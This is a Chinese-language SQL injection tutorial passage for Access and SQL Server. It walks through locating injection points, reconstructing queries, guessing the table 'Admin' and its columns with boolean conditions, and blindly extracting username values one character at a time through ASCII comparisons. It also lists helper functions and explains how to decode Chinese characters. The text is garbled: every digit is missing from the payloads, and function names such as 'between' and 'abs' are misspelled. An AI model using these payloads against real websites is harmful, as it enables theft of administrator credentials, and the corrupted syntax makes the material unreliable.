第一節 SQL注入的一般步驟 首先 判斷環境 尋找注入點 判斷資料庫類型 這在入門篇已經講過了 其次 根據注入參數類型 在腦海中重構SQL語句的原貌 按參數類型主要分為下面三種 (A)ID= 這類注入的參數是數字型 SQL語句原貌大致如下 Select * from 表名 where 欄位= 注入的參數為ID= And [查詢條件] 即是生成語句 Select * from 表名 where 欄位= And [查詢條件](B) Class=連續劇 這類注入的參數是字元型 SQL語句原貌大致概如下 Select * from 表名 where 欄位= 連續劇 注入的參數為Class=連續劇 and [查詢條件] and = 即是生成語句 Select * from 表名 where 欄位= 連續劇 and [查詢條件] and = (C) 搜索時沒過濾參數的 如keyword=關鍵字 SQL語句原貌大致如下 Select * from 表名 where 欄位like %關鍵字% 注入的參數為keyword= and [查詢條件] and % = 即是生成語句 Select * from 表名 where欄位like % and [查詢條件] and % = % 接著 將查詢條件替換成SQL語句 猜解表名 例如 ID= And (Select Count(*) from Admin)>= 如果頁面就與ID= 的相同 說明附加條件成立 即表Admin存在 反之 即不存在(請牢記這種方法) 如此循環 直至猜到表名為止 表名猜出來後 將Count(*)替換成Count(欄位名) 用同樣的原理猜解欄位名 有人會說 這里有一些偶然的成分 如果表名起得很復雜沒規律的 那根本就沒得玩下去了 說得很對 這世界根本就不存在 %成功的黑客技術 蒼蠅不叮無縫的蛋 無論多技術多高深的黑客 都是因為別人的程序寫得不嚴密或使用者保密意識不夠 才有得下手 有點跑題了 話說回來 對於SQLServer的庫 還是有辦法讓程序告訴我們表名及欄位名的 我們在高級篇中會做介紹 最後 在表名和列名猜解成功後 再使用SQL語句 得出欄位的值 下面介紹一種最常用的方法-Ascii逐字解碼法 雖然這種方法速度很慢 但肯定是可行的方法 我們舉個例子 已知表Admin中存在username欄位 首先 我們取第一條記錄 測試長度 ?id= and (select top len(username) from Admin)> 先說明原理 如果top 的username長度大於 則條件成立 接著就是> > > 這樣測試下去 一直到條件不成立為止 比如> 成立 > 不成立 就是len(username)= 當然沒人會笨得從 一個個測試 怎麼樣才比較快就看各自發揮了 在得到username的長度後 用mid(username N )截取第N位字元 再asc(mid(username N ))得到ASCII碼 比如 id= and (select top asc(mid(username )) from Admin)> 同樣也是用逐步縮小范圍的方法得到第 位字元的ASCII碼 注意的是英文和數字的ASCII碼在 之間 可以用折半法加速猜解 如果寫成程序測試 效率會有極大的提高 第二節 SQL注入常用函數 有SQL語言基礎的人 在SQL注入的時候成功率比不熟悉的人高很多 我們有必要提高一下自己的SQL水平 特別是一些常用的函數及命令 Access asc(字元)SQLServer unicode(字元)作用 返回某字元的ASCII碼Access chr(數字)SQLServer nchar(數字)作用 與asc相反 根據ASCII碼返回字元Access mid(字元串 N L)SQLServer substring(字元串 N L)作用 返回字元串從N個字元起長度為L的子字元串 即N到N+L之間的字元串Access abc(數字)SQLServer abc (數字)作用 返回數字的絕對值(在猜解漢字的時候會用到)Access A beeen B And CSQLServer A beeen B And C作用 判斷A是否界於B與C之間 第三節 中文處理方法 在注入中碰到中文字元是常有的事 有些人一碰到中文字元就想打退堂鼓了 其實只要對中文的編碼有所了解 中文恐懼症 很快可以克服 先說一點常識 Access中 中文的ASCII碼可能會出現負數 取出該負數後用abs()取絕對值 漢字字元不變 SQLServer中 中文的ASCII為正數 但由於是UNICODE的雙位編碼 不能用函數ascii()取得ASCII碼 必須用函數unicode ()返回unicode值 再用nchar函數取得對應的中文字元 了解了上面的兩點後 是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意 猜解范圍大一點外 方法是沒什麼兩樣的 lishixin/Article/program/SQLServer/201311/22039